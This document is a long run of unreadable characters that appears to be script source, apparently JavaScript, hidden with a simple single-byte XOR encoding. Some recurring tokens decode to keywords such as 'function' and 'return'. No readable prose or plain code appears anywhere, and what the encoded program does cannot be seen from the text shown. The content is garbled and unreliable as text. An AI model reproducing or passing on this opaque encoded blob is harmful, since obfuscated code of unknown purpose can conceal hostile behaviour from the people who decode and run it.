u]TF]jS\YP\RGWQZ[WSVF[YM^_VPSTYFP?\SOLX^FPPZQAXPQR]DPX^ODOCXPQR]DPX^ODOCXPQR]DPX^ODOC\BjCDOETLDWORCR\AP E]FjM]XPQR]DPX^ODOCOLX^FPPZQA@O F@PZF]W\T^N?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\BjCDOETLDWOR OLX^FPPZQA[YM^_VP?GPA@G[STYFP???H?OA\O@OXVjG[VQQ]E@^jVMGE^Y^@VF\RGWQZ[WSVF?\SOA\O@OXSTYFPuWW]YL^QYEQ[Y OA\O@OX@O F@PZF]W\T^OLX^FPPZQA@O F@PZF]W\T^N?\S]GYC O_WB@j^EOA\O@OX[YM^_VPN?\SuOLX^FPPZQA[YM^_VPMZBjjO[DDAPGjYE_B@SFOFC\VP[YM^_VP ?\SMZBjjO[SZO@BRBG\MTOA\O@OX[YM^_VPN?\LYGF@GDVCLPD[OA\O@OX?HPYFPN?uOLX^FPPZQA [YM^_VP@O F@PZF]W\T^?\LYGF@GDVCLPD[OA\O@OX?H?H??HPYFPN?\SOA\O@OXSTYFP\LYGF@GDVCLPD[OA\O@OX?u\BjCDOETLDWOR[YM^_VP@O F@PZF]W\T^??H?[W[[MYZS@M^M[YL[YM^_VP?HPYFP\SMS^MRSY^N?\LYGF@GDVCLPD[[YM^_VP?H?GPA@G[STYFP?H?[W[[MYZS@M^M[YL[YM^_VP?P_Y^QVA^Y[YM^_VP?DDAPGjYE_B@SFOFC\VP[YM^_VPMM?\S@GTS@\D[[[GZQQ \DZ[YM^_VPSTYFP?GPA@G[AG@P?H?S@[VA\Z[D_WOPDSY_[MjSF[YM^_VP@GZC@Q]B]A?N?GPYTMPQFVZEPV]T\[???\XFRSE]	
E]Ei[?\S\BjCDOETLDWOR@GZC@Q]B]A@GZC@Q]B]AOLX^FPPZQA@GZC@Q]B]A\RGWQZ[WSVF STYFPCOQ [GQ\DVjWVOW@@GZC@Q]B]A\XFRSE]@GZC@Q]B]A?\SuOLX^FPPZQA[YM^_VPN?R]TGO^uWW]YL^QYEQ[Y [YM^_VP????\S\BjCDOETLDWORR]TGO^_Bj\F\@\] _^_PR]TGO^\XFRSE]GPA@G[???H???\SFWDSWO@V[[ CFM_\ME[YM^_VP\XFRSE]N?ZDG\ CVCDu\BjCDOETLDWOR [YM^_VP?\SOLX^FPPZQAZDG\ CVCD_Bj\F\@\] _^_PZDG\ CVCD\XFRSE]uOLX^FPPZQA[YM^_VP\XFRSE]?@[FPAZDG\ CVCD?H?[W[[MYZS@M^M[YL[YM^_VP?H?S@[VA\Z[]ZZA jjCXETAAX??N?\S\RGWQZ[WSVFOLX^FPPZQACT]SS VY[jQ@ZYYFFGPA@G[AG@P?\SWW]YL^QYEQ[Y\RGWQZ[WSVFII\BjCDOETLDWOR\RGWQZ[WSVFGPA@G[AG@P?_X_VEQRS]ZXPj@GY?_X_VEQRS\RGWQZ[WSVF_X_VEQRS
STYFP

\RGWQZ[WSVFWW]YL^QYEQ[Y\RGWQZ[WSVFMMMM?E_SZVZ_S@ \BjCDOETLDWOR_X_VEQRSTGGTLWW]YL^QYEQ[Y kOLX^FPPZQASTYFPOLX^FPPZQAOLX^FPPZQATGGTLWW]YL^QYEQ[YOLX^FPPZQA ?\SOLX^FPPZQA OLX^FPPZQA\FjBEjPGGZGE_SZVZ_S@ N?\SWW]YL^QYEQ[Y OLX^FPPZQA\BjCDOETLDWOR?E_SZVZ_S@ \BjCDOETLDWOR_X_VEQRSTGGTL\BjCDOETLDWOR  \RGWQZ[WSVFSTYFPOLX^FPPZQA\BjCDOETLDWORTGGTLOLX^FPPZQAWW]YL^QYEQ[Y ??\SOLX^FPPZQA OLX^FPPZQA \FjBEjPGGZGE_SZVZ_S@ GPA@G[STYFP?H?^W_[P[QY\[ABEjGPXZAPjGPAG\PCPjGPFEZ[FPjVZQPE_SZVZ_S@ LDCW]@GXOZ@WR_OOLDCW]@
LDCW]@LDCW]@?GPA@G[^W_[P[QY  ^W_[P[QY	MMS?H?S@[VA\Z[_M\S@XDA@PTS[QGYVWFj OODARC[LTS MY[Tj^?N?W_MTSj\GTTS\RGWQZ[WSVFWW]YL^QYEQ[YTS MY[Tj^???SZGPTV]?TGGTL????\BjCDOETLDWOR  W_MTSj\GTTSWW]YL^QYEQ[Y ?OLX^FPPZQA W_MTSj\GTTS\BjCDOETLDWOR ?WW]YL^QYEQ[Y W_MTSj\GTTS\BjCDOETLDWOR ?TF_CS@[ Z _TYW?N?\S\RGWQZ[WSVFWFj OODARC[LWGPT^????WFj OODARC[L\BjCDOETLDWOR_CS@[ Z _TYWi[WFj OODARC[L?H????GPA@G[WFj OODARC[L@XV\_^_MWQ ]YAP@XV\_^_MW
@XV\_^_MW@XV\_^_MW?H????S@[VA\Z[[W[[MYZS@M^M[YLVZYBOMPYTZ?N?\SWW]YL^QYEQ[Y\BjCDOETLDWORN?GPA@G[uZEVTV]Pj\[CTY\QTAPVZYBOMPYTZAG@PSTYFP?H?]@XRX YAVB]XOLX^FPPZQA\BjCDOETLDWOR
uZEVTV]PjRPAjFATA@FSTYFPSTYFP?GPA@G[OLX^FPPZQA ]@XRX YAVB]XPXEAL]@XRX YAVB]Xn\RGWQZ[WSVFh?H?S@[VA\Z[A_QWDDMW\[@ZT[YM^_VPBT]jLA@LZBFFAjOODD]?N?\SOLX^FPPZQA[YM^_VPWW]YL^QYEQ[YN?\SFWDSWO@V[[ CFM_\ME[YM^_VPBT]jLA@LZBFFAN?Z^MWjQGV^@FQTLY@jOODD]WW]YL^QYEQ[YOLX^FPPZQA[YM^_VP?GPA@G[STYFP?H?[W[[MYZS@M^M[YL[YM^_VP?GPA@G[WW]YL^QYEQ[YBT]jLA@LZBFFA????H?S\jZD\ ]u\RGWQZ[WSVF[YM^_VP\RGWQZ[WSVF?\SS\jZD\ ]STYFPN?Z^MWjQGV^@FQTLY@jOODD]\BjCDOETLDWOR\BjCDOETLDWOR [YM^_VP?GPA@G[STYFPFQMDF FTL\\MPFjFQMDF F?H?\SOLX^FPPZQA\RGWQZ[WSVFuSYZV^S\jZD\ ]yzv~jpm??E_SZVZ_S@ uWW]YL^QYEQ[YS\jZD\ ]BT]jLA@LZBFFA?\S\BjCDOETLDWORWW]YL^QYEQ[YuSYZV^S\jZD\ ]yzv~j`{?uSVYZFPS\jZD\ ]?\SE_SZVZ_S@ STYFPIIBT]jLA@LZBFFAE_SZVZ_S@ OLX^FPPZQABT]jLA@LZBFFAN?Z^MWjQGV^@FQTLY@jOODD]WW]YL^QYEQ[Y\BjCDOETLDWOR [YM^_VP????GPA@G[STYFP?H?GPA@G[E_SZVZ_S@ ?H????S@[VA\Z[]G_GDLYWSDZ?N?EGZTVA\CPY\[PTGALEP??AGLN?\SWW]YL^QYEQ[YWW]YL^QYEQ[YIIWW]YL^QYEQ[YWW]YL^QYEQ[YN?BQ_^XPLPY\SR[@YY?GPA@G[?H???\SRPAjAGT[F\P[A\BjCDOETLDWORGPA@G[?\SRPAjAGT[F\P[A\RGWQZ[WSVFGPA@G[?FPAjAGT[F\P[A\RGWQZ[WSVF ?BQ_^XPLPY\SR[@YY?\S\RGWQZ[WSVFWW]YL^QYEQ[YQPYPAPjAGT[F\P[AOLX^FPPZQA?CDjZALAEDOLX^FPPZQA\BjCDOETLDWOR
FAG\[R]W\@C_BRB@GO[^jjM\BjCDOETLDWOR?\SCDjZALAEDOLX^FPPZQAOLX^FPPZQA @FPG[TXPjPM\FAFCDjZALAEDN?FPAjAGT[F\P[AWW]YL^QYEQ[Y????H?HVTAV]a]GZBTWYPYA[E WAjN?uEGZC\F\Z[YPT^LW@V^PA??Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjNVC^BVMA[BSG\jVC^BVM?H?H????S@[VA\Z[BQ_^XPLPY\SRZLQjW \ZV??N?\SVX\_MQ  YSX[BOLX^FPPZQAGPA@G[?AGLN?\S\BjCDOETLDWOROLX^FPPZQAII\BjCDOETLDWOR\RGWQZ[WSVFN?GPA@G[?H?T^ D^^___FAG\[R]W\@C_BRB@GO[^jjM\BjCDOETLDWOR?\ST^ D^^___@FPG[TXPjPM\FAFT^ D^^___FAG\[R]W\@C_BRB@GO[^jjM\RGWQZ[WSVF N?GPA@G[?H?\ST^ D^^___N?Y\[PTG\OTWYPFL[V]GZ[\OPG?????DYXX]@C[DYOLX^FPPZQAZLQjW \ZV
ZLQjW \ZVjX^M_R@D]] ?\Q @\QjQLPF^ RDRj@VDORWTRA\QOjADYXX]@C[DY?\S??\Q @\QjQLPFPXEAL\Q @\QjQLPF@FPGjYZR\[\FFPA\Q @\QjQLPF@FPGjPXT\Y??\Q @\QjQLPF@FPGjPXT\Y\Q @\QjQLPF@FPGjYZR\[uBROVEFCLP^ZDWSWW]YL^QYEQ[Y?N?T^ D^^___FAG\[R\Q @\QjQLPF@FPGjYZR\[?H?H?\ST^ D^^___@FPG[TXPjPM\FAFT^ D^^___N???FRX \AYXjEB@FPG[TXPjPM\FAFT^ D^^___?W\SDCTROACEQPMMV]RD[[MR k????\S\RGWQZ[WSVFWW]YL^QYEQ[YN?\BjCDOETLDWORW\SDCTROACEQFRX \AYXjEB?H??_OjYYOOALOTGQB[^XCOLX^FPPZQAT^ D^^___OLX^FPPZQA@LG@A_ X@WW\@@LG@A_?_OjYYOOALOTGQB[^XC\RGWQZ[WSVF W\SDCTROACEQOLX^FPPZQA?GPA@G[?H?YSWQWW@Q]W\OAQOBWTFR]MPZX?\SAG@PN?T^ D^^___?SZGD[CW_\@XW[jD[CW_\@XW[j	D[CW_\@XW[jN?YVXWQRG_AYSWQWW@Q]Wn\RGWQZ[WSVF YSWQWW@Q]WhPMMV]RD[[MRk?\S@FPG[TXPjPM\FAFYVXWQRG_AN?T^ D^^___YVXWQRG_A?WGPT^?beeTGTRGTE]wYZV^TAATV]XP[AXPATQTAT???H?H?\ST^ D^^___N?EZF\A\CPQPS\[\APTQTEAPG??Z^MWjQGV^@FQTLY@\RGWQZ[WSVF\BjCDOETLDWOR?GPA@G[?H?H?W\SDCTROACEQPMMV]RD[[MR?\SWW]YL^QYEQ[Y\RGWQZ[WSVFQPS\[PQOLX^FPPZQAWW]YL^QYEQ[Ytwfeta}WW]YL^QYEQ[YN?gPQ\FZW_PVAVTV]PZW_PVAS\A?^_O[TRFO_[_EO^_O[TRF?GPD@\GPjZ[VPtwfeta}OLX^FPPZQA?H???GVRTSL[R^WQT^ D^^___uBROVEFCLP^ZDWSWW]YL^QYEQ[Y?Y@^CE_XjSESTYFP?\S\RGWQZ[WSVF\RGWQZ[WSVFN??Y@^CE_XjSEOLX^FPPZQATGGTL????OLX^FPPZQAT^ D^^___?OLX^FPPZQAW\SDCTROACEQ?\BjCDOETLDWORGVRTSL[R^WQ?\BjCDOETLDWOR \BjCDOETLDWOR?WW]YL^QYEQ[YT^ D^^___??\S\FjBEjPGGZGY@^CE_XjSEN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORY@^CE_XjSERPAjPGGZGjVZQPY@^CE_XjSERPAjPGGZGjXPFFTRP??Y@^CE_XjSESTYFP???H?H??\SY@^CE_XjSEN????BEQW\FFPAryzwtyfn\BjCDOETLDWORh
ryzwtyfnOLX^FPPZQAh[@YY?\SBEQWII\RGWQZ[WSVFBEQWN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YOLX^FPPZQA?GPA@G[?H?TLZZ\T B WW]YL^QYEQ[YWW]YL^QYEQ[Y
BEj]TF]jETFFBZGQW\SDCTROACEQ\BjCDOETLDWORW\SDCTROACEQ?WDQCDBMF_Z@PY\BjCDOETLDWOROLX^FPPZQA
V@GGP[AjA\XP\RGWQZ[WSVFRXQTAP\RGWQZ[WSVF?]VWGX jTBEQW\[FPGABEQW@FPGFTGGTL?OLX^FPPZQAT^ D^^___?\RGWQZ[WSVFTLZZ\T B ????OLX^FPPZQAT^ D^^___?OLX^FPPZQAGVRTSL[R^WQ?\BjCDOETLDWOR WDQCDBMF_Z@PY?\RGWQZ[WSVF????\RGWQZ[WSVFT^ D^^___????TGGTLWW]YL^QYEQ[Y\BjCDOETLDWORWW]YL^QYEQ[Y\RGWQZ[WSVFWW]YL^QYEQ[Y\BjCDOETLDWOR\BjCDOETLDWOR?\S]VWGX jTN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORWW]YL^QYEQ[Y???GPA@G[????H?Y@^CE_XjSE\[ABEQW\[FPGAj\Q?MQG_LWP^XBEQWEGPS\MOLX^FPPZQA?BEQW\[FPGABEQW@FPGXPATTGGTL??WW]YL^QYEQ[YY@^CE_XjSE?OLX^FPPZQAMQG_LWP^X?\RGWQZ[WSVF\RGWQZ[WSVFTGGTLOLX^FPPZQAAG@P?TGGTLOLX^FPPZQA\BjCDOETLDWOROLX^FPPZQA???BEQW\[FPGABEQW@FPGXPATTGGTL?WW]YL^QYEQ[YY@^CE_XjSE????\BjCDOETLDWORBEQWEGPS\MOLX^FPPZQA?\BjCDOETLDWOR?TGGTL\BjCDOETLDWORWW]YL^QYEQ[Y \RGWQZ[WSVF?\S\RGWQZ[WSVF\BjCDOETLDWORN?VYPT[j@FPGjVTV]PY@^CE_XjSE?H??H?\S@FPG[TXPjPM\FAFT^ D^^___N?Z^MWjQGV^@FQTLY@\BjCDOETLDWORWW]YL^QYEQ[Y???GPA@G[?H????LV^jTGjDBT OGOLX^FPPZQAWW]YL^QYEQ[Y
RPAj@FPGjWL\RGWQZ[WSVFT^ D^^___STYFP?ECWCBOTMSTYFP?\SLV^jTGjDBT OGPXEALLV^jTGjDBT OG|qN???\SWW]YL^QYEQ[YWW]YL^QYEQ[YN?ECWCBOTMWZZY@FPGjVT[LV^jTGjDBT OG\RGWQZ[WSVF?HPYFP\S\FFPALV^jTGjDBT OGVTEF\BjCDOETLDWORLV^jTGjDBT OGVTEFN?ECWCBOTMPXEALLV^jTGjDBT OGVTEFnWW]YL^QYEQ[Yh?H?H?bewYZV^te|CRGPPQLTVV@X@YTAZG???\SECWCBOTMN?Z^MWjQGV^@FQTLY@OLX^FPPZQA\BjCDOETLDWOR?\SY@^CE_XjSEN?\S\BjCDOETLDWORWW]YL^QYEQ[Y QPS\[PQOLX^FPPZQAuOLX^FPPZQAtwfeta}\BjCDOETLDWORN?GPD@\GPjZ[VPtwfeta}OLX^FPPZQA????H?\SWW]YL^QYEQ[Y\RGWQZ[WSVF uBEjQPYPAPj@FPGY@^CE_XjSE?H?GPA@G[?H?_OjYYOOALOTGQB[^XCWW]YL^QYEQ[YT^ D^^___OLX^FPPZQA?_OjYYOOALOTGQB[^XC\BjCDOETLDWOR W\SDCTROACEQ\RGWQZ[WSVF?HVTAV]a]GZBTWYPYA[E WAjN?GPFAZGPPCP[A@TYXPFFTRPD@P@P???Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?HS\[TYYLN?R F]XTZW\LVGWW]YL^QYEQ[Y?H?H??S@[VA\Z[_VjTCSYMLSDMCT_GA^jC?N????AGLN??\SWW]YL^QYEQ[YT_GA^jCIIEGZEPGALjPM\FAFT_GA^jC\BjCDOETLDWORN??GPA@G[T_GA^jC???H?????T^ D^^___\BjCDOETLDWOR\BjCDOETLDWOR
FAG\[R]W\@C_BRB@GO[^jjMOLX^FPPZQA?\ST^ D^^___N??GPA@G[T_GA^jC?H??MWA D@DO_PFVjFDYT^ D^^___?\S\RGWQZ[WSVFT_GA^jCD@PGLjB]PGPMWA D@DO_STYFPN?T_GA^jCD@PGLjB]PGP\BjCDOETLDWORMWA D@DO_?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN????H???GPA@G[T_GA^jC?H?S@[VA\Z[_VWEERCP^^E]O_FFVCWR@VBj????N?QPRP[PGTAPAG@FAT[V]ZG??AGLN?CDjZALAEDOLX^FPPZQAOLX^FPPZQA
FAG\[R]W\@C_BRB@GO[^jjM\BjCDOETLDWOR?\SCDjZALAEDN?\QP[A\ALVZXETG\FZ[??GPA@G[_FFVCWR@VBj?H?[]QTSYMVATGGTLOLX^FPPZQA \RGWQZ[WSVF?SZGPTV][]QTSYMVATF^PLN?\S\FFPA_FFVCWR@VBjn^PLh\RGWQZ[WSVF_FFVCWR@VBjn^PLh\BjCDOETLDWOROLX^FPPZQA_FFVCWR@VBjn^PLhC_ FX[SEN?X_XGPF\^WR@C\BjCDOETLDWOR  \[AC_ FX[SEnh??????_FFVCWR@VBjn^PLh\RGWQZ[WSVFOLX^FPPZQAX_XGPF\^WR@C_FFVCWR@VBjn^PLh??H????H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?GPA@G[_FFVCWR@VBj?H?S@[VA\Z[VYXARMS[_YjQMG^B]@@EZVDOM[DBXTDDFMS?NA]G ] PQRYA]G ]?AGLN?T^ D^^___OLX^FPPZQAOLX^FPPZQA
FAG\[R]W\@C_BRB@GO[^jjM\BjCDOETLDWOR?\ST^ D^^___N?GPA@G[]@@EZVD?H?\S\RGWQZ[WSVF]@@EZVDN?GPA@G[]@@EZVD?H?\S\FFPA]@@EZVDnWW]YL^QYEQ[YhII\RGWQZ[WSVF]@@EZVDn\RGWQZ[WSVFhN?]@@EZVDn\BjCDOETLDWORhTGGTLGjM@GXFLVOEOTGjM@GXF
GjM@GXFGjM@GXF?H?\S\RGWQZ[WSVFT^ D^^___]@@EZVDn\RGWQZ[WSVFhAG@PN?]@@EZVDn\BjCDOETLDWORhnhT^ D^^___?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj??HVTAV]pMVPEA\Z[YA[E WAjN?H?GPA@G[]@@EZVDO[YC\QM^j TAMMR^@LLPOO[YC\QM^j?H??S@[VA\Z[M ZMS_RVQX]?N??MjP\XTPBMPTGGTL???\SQPS\[PQOLX^FPPZQA\BjCDOETLDWOR\BjCDOETLDWORN?xLfdyvapF\[FAG@XP[AFVZEPV]T\[??QTWCGE[FATGGTLRPAjZEA\Z[WW]YL^QYEQ[YTGGTL?\[OFD\_YVFETGGTL?SZGPTV]QTWCGE[FATFWTFP[TXPN?\SWW]YL^QYEQ[YWTFP[TXPII\BjCDOETLDWORWTFP[TXP\BjCDOETLDWORSTYFPN????VZ[A\[@P?H?AGT[FE\YPFETGFPQ\FETAV]PG??MjYOCYQGS\BjCDOETLDWOR WTFP[TXP?\SMjYOCYQGSN?MjYOCYQGSWTFP[TXP?H?\S\FFPA\[OFD\_YVFEnMjYOCYQGShN??VZ[A\[@PWSZE]VOYRWS]A@VBFDWSZE]VOYRWS]???H????\[OFD\_YVFEnMjYOCYQGShAG@P?[YM^_VPbejey`r|{jq|gWTFP[TXP?\S\RGWQZ[WSVFWTFP[TXPN?\Su\RGWQZ[WSVF[YM^_VPN?MjP\XTPBMPnh[YM^_VP?H?EGPSPAV]QPAPGX\[\FA\VTYPGA??HPYFPN??GE^Y^@VFWW]YL^QYEQ[Y[YM^_VP??\Su\BjCDOETLDWORGE^Y^@VFN?MjP\XTPBMP\RGWQZ[WSVFMjP\XTPBMP_M[ZjGGRPPPP^MSGE^Y^@VFTGGTL\BjCDOETLDWOR?H?H?H???H?\APGTAPFPFF\Z[ALEPSZGbesZ[Ay\WGTGL??????\Su\BjCDOETLDWOR@jVTZ[PZCCL^FZ]A[N?u@[F@WFVG\WPVZZGQ\[TAZG??[B@WTMX@F@][ P]F]TFD^@@jVTZ[PZCCL^FZ]A[??\SWW]YL^QYEQ[Y[B@WTMXN???SZGPTV][B@WTMXTFORQTVW[A SLN?\SORQTVW[A SL\^F] R@M @LM\YDVLN??VZ[A\[@P???H?VZYBOMPYTZ@jVTZ[PZCCL^FZ]A[ORQTVW[A SL?\Su\BjCDOETLDWORVZYBOMPYTZ\RGWQZ[WSVFOLX^FPPZQAORQTVW[A SLVZ[FAT[AOLX^FPPZQA \RGWQZ[WSVF N??MjP\XTPBMPnhVZYBOMPYTZ?H?H????H?H?????\SQPS\[PQ\BjCDOETLDWOR\RGWQZ[WSVF\RGWQZ[WSVF N?C\C__VE\X^WLFAG\[RRPAjZEA\Z[\RGWQZ[WSVF ???TPLYXDG\GVBVDVFAG\[RRPAjZEA\Z[\RGWQZ[WSVF ?^CLZG]\EQPS\[PQ\BjCDOETLDWOR  
bejvz{ap{ajq|gOLX^FPPZQA twfeta}\RGWQZ[WSVF ?@] XOERj[WW]YL^QYEQ[Y OLX^FPPZQATGGTLC\C__VE\X^WLTPLYXDG\GVBVDV?SZGPTV]@] XOERj[TF\FRGDWWMEN?\SWW]YL^QYEQ[Y \FRGDWWME\BjCDOETLDWORSTYFPN?VZ[A\[@P?H?YOTB[FT ^CLZG]\E\FRGDWWME?\Su\BjCDOETLDWORYOTB[FT N??jC X_QjAFBYB@F@][ P]F]TFD^@YOTB[FT ?\S\BjCDOETLDWORjC X_QjAFBYBN?SZGPTV]jC X_QjAFBYBTFORQTVW[A SLN?@GD\O\^MSYOTB[FT ORQTVW[A SL?\Su\RGWQZ[WSVF@GD\O\^MSWW]YL^QYEQ[Y\BjCDOETLDWORORQTVW[A SLVZ[FAT[AWW]YL^QYEQ[Y \BjCDOETLDWOR N?MjP\XTPBMPnh@GD\O\^MS?H?H?H?beeZFApMVPGEATAATV]XP[AXPATQTAT???LX@LSX_WEQYOTB[FT OLX^FPPZQA?\SuWW]YL^QYEQ[YLX@LSX_WEQN?MjP\XTPBMPWW]YL^QYEQ[YMjP\XTPBMP_M[ZjGGRPPPP^MSLX@LSX_WEQTGGTLOLX^FPPZQA ????H?H?H???H?GPA@G[\RGWQZ[WSVF MjP\XTPBMP???H?S@[VA\Z[OQQQOSXSOQ\LRL\RE]S^TP?N?\S\BjCDOETLDWOR\RE]S^TPGPA@G[TGGTL????G\OVC_OZ]D[QMjMTGGTL?SZGPTV]\RE]S^TPTFE_SZVZ_S@ N?\SOLX^FPPZQAE_SZVZ_S@ IIE_SZVZ_S@ IIOLX^FPPZQAE_SZVZ_S@ VZ[A\[@P?AGLN?FAGPFFAPFA\[QPVZXEZFTWYPT@A]ZG\AL??\Su\BjCDOETLDWORE_SZVZ_S@ STYFPVZ[A\[@P?HVTAV]a]GZBTWYPYA[E WAjN?VZ[A\[@P????HVTAV]pMVPEA\Z[YA[E WAjN?VZ[A\[@P?H?G\OVC_OZ]D[QMjMnhE_SZVZ_S@ ??H?be}ZXPy\[^AGTVPQZX\[TAZGAGPP??GPA@G[G\OVC_OZ]D[QMjM??H?S@[VA\Z[GLOA\M [VW]GEj\RE]S^TP?N?AGLN??\SPXEAL\RE]S^TPN???GPA@G[STYFPO CV@SjF \\BW\]ZTTO CV@SjF?H???MjP\XTPBMPM ZMS_RVQX]????\SPXEALMjP\XTPBMPN?YZV^VZ[FAGT\[AFPASZGbeeZFAa\AYP??GPA@G[STYFP?H?CALV@O[FREQSTYFP?SZGPTV]MjP\XTPBMPTFVZYBOMPYTZN??\SuWW]YL^QYEQ[YVZYBOMPYTZIIuOLX^FPPZQAVZYBOMPYTZN?VZ[A\[@P?H??\SuWW]YL^QYEQ[YVZYBOMPYTZ N?VZ[A\[@P???H?CR\AP E]FjM]u\RGWQZ[WSVF VZYBOMPYTZ?\SCR\AP E]FjM]IIWW]YL^QYEQ[Y CR\AP E]FjM]N?VZ[A\[@P???H??RWMGPDCGVLSTYFP????SZGPTV]\RE]S^TPTFF\PjjM jPVN?AGLN??????O\OQY@WQT\uWW]YL^QYEQ[YF\PjjM jPVCR\AP E]FjM]?\SO\OQY@WQT\[@YYO\OQY@WQT\CR\AP E]FjM]N?CR\AP E]FjM]O\OQY@WQT\G^B\E_VEQSCYTBLFTG^B\E_
G^B\E_G^B\E_?RWMGPDCGVLAG@P?H?bZGQeGPFFWYZV^W\[Q\[RF\[APGG@EAQPG\CTA\Z[??HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?VZ[A\[@P?HVTAV]pMVPEA\Z[YA[E WAjN?be{TC\RTA\Z[wYZV^[Z[VPCTY\QTA\Z[??VZ[A\[@P?H?H??\SRWMGPDCGVLN?\SFWDSWO@V[[ CFM_\MEVZYBOMPYTZCR\AP E]FjM]N?CALV@O[FREQAG@P?H?H??H??GPA@G[CALV@O[FREQ??HVTAV]a]GZBTWYPYA[E WAjN?EG\XTGLQ\GPVAZG??Z^MWjQGV^@FQTLY@\RGWQZ[WSVFYA[E WAj???HVTAV]pMVPEA\Z[YA[E WAjN?H?FPFD@\Y\[PTGGPAGLEZY\VL??GPA@G[STYFP???H??S@[VA\Z[ZMFLBOWXXW@LGE^Y^@VFXOY[MG\V G????N????XPWBB_TP FD[TGGTL?XOY[MG\V GXOY[MG\V G??RS[SMO E^_@QAu\RGWQZ[WSVF GE^Y^@VF^@BDVRS]\E FW]VTC]VPA^@BDVRS]\E?\S\BjCDOETLDWORRS[SMO E^_@QAN???GPA@G[XPWBB_TP FD[?H?RS[SMO E^_@QAOLX^FPPZQARS[SMO E^_@QAMVM ????SZGPTV]RS[SMO E^_@QATFORQTVW[A SLN?????\SORQTVW[A SLIIORQTVW[A SLWW]YL^QYEQ[YN?VZ[A\[@P?H????STA\^^X GE^Y^@VFORQTVW[A SL?\Su\RGWQZ[WSVFSTA\^^X N?VZ[A\[@P?H??\SuWW]YL^QYEQ[YSTA\^^X WW]YL^QYEQ[Y  N????XPWBB_TP FD[nh\BjCDOETLDWORSTA\^^X \RGWQZ[WSVF?VZ[A\[@P?H?????\SXOY[MG\V GN??XPWBB_TP FD[\RGWQZ[WSVFXPWBB_TP FD[ZMFLBOWXXW@LSTA\^^X XOY[MG\V G?H?H??GPA@G[XPWBB_TP FD[?H?S@[VA\Z[TELVFXL  \\CB?N?GBWDYWDCQ YZTGGTL???FWOAFA]VE\[A SOLX^FPPZQAtwfeta}OLX^FPPZQA?AGLN?YQEO@A@E[ FQTGGTL?\SFWOAFA]VE\[A SN?YQEO@A@E[ FQnhWW]YL^QYEQ[YFWOAFA]VE\[A S?YQEO@A@E[ FQnhOLX^FPPZQA\BjCDOETLDWORFWOAFA]VE\[A S????YQEO@A@E[ FQnhOLX^FPPZQAWW]YL^QYEQ[YOLX^FPPZQAFWOAFA]VE\[A S?H????YQEO@A@E[ FQnhWW]YL^QYEQ[Y?YQEO@A@E[ FQnhOLX^FPPZQA?YQEO@A@E[ FQnhWW]YL^QYEQ[Y?YQEO@A@E[ FQnh\RGWQZ[WSVF?YQEO@A@E[ FQnh\RGWQZ[WSVF?YQEO@A@E[ FQnh\RGWQZ[WSVF ??YQEO@A@E[ FQnhWW]YL^QYEQ[Y???V^@VEQ^MjTGOLX^FPPZQA\BjCDOETLDWOR
FAG\[Ru\BjCDOETLDWOROLX^FPPZQA?\SV^@VEQ^MjTGN?RYF\DT\ M\BjCDOETLDWORV^@VEQ^MjTGSTYFP
?SZGPTV]\BjCDOETLDWORRYF\DT\ MV^@VEQ^MjTGTFSYWSTOX[\GZN?SYWSTOX[\GZWW]YL^QYEQ[YSYWSTOX[\GZ?\SSYWSTOX[\GZN?YQEO@A@E[ FQnhSYWSTOX[\GZ?H?H?H??YQEO@A@E[ FQWW]YL^QYEQ[Y\RGWQZ[WSVFYQEO@A@E[ FQ?EZEA\  TVFYOLX^FPPZQAAG@P??GBWDYWDCQ YZTGGTLjXEWVEWI]V]LF][TjXEWVEWk??SZGPTV]YQEO@A@E[ FQTFGE^Y^@VFN??\SuWW]YL^QYEQ[YGE^Y^@VFIIu\RGWQZ[WSVFGE^Y^@VFN?VZ[A\[@P?H???\SWW]YL^QYEQ[YAG@PEZEA\  TVFYMMN?WGPT^?H?????GBWDYWDCQ YZWW]YL^QYEQ[YGBWDYWDCQ YZZMFLBOWXXW@LGE^Y^@VF[FR\QTWAMPM^CSVL_X[FR\QTWA?H???HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN\_FWW]e}ejxtzgjcpgf|z{F_FD]jjVLj\_FWW]??H??GPA@G[WW]YL^QYEQ[YOLX^FPPZQAGBWDYWDCQ YZTGGTLFWOAFA]VE\[A S???H?S@[VA\Z[OM_Z\GCGT[]Y[RFRPVR ODMMEV?N?AGLN?O@RZB]VAXZLW[_PTGGTLFRPVR ODMMEVWW]YL^QYEQ[YFRPVR ODMMEV\RGWQZ[WSVF ?SZGPTV]O@RZB]VAXZLW[_PTFGE^Y^@VFN?\Su\BjCDOETLDWORGE^Y^@VFN?VZ[A\[@P?H?L TPPT F\O @F@][ P]F]TFD^@GE^Y^@VF?\S\BjCDOETLDWORL TPPT F\O N]]^]@jX_VTMSMWOFTTE^OWZ]]^]@jX_VT?VZ[A\[@P?H?SZGPTV]L TPPT F\O TFYA[E WAjN?\S\RGWQZ[WSVFYA[E WAjWW]YL^QYEQ[YMP\jVPBYBFQ^SCGE^Y^@VFYA[E WAj  N??GPA@G[AG@P?H?H?SZGPTV]L TPPT F\O TFYA[E WAjN?Ej P^DXYMGFGGE^Y^@VFYA[E WAj???\Su\BjCDOETLDWOREj P^DXYMGFGN?VZ[A\[@P??H?VP\SMRXC@F@][ P]F]TFD^@Ej P^DXYMGFG?\SWW]YL^QYEQ[YVP\SMRXCN?VZ[A\[@P?H?SZGPTV]VP\SMRXCTFQPDXZTSXXWEN?\S\RGWQZ[WSVFQPDXZTSXXWEMM\RGWQZ[WSVFMP\jVPBYBFQ^SCEj P^DXYMGF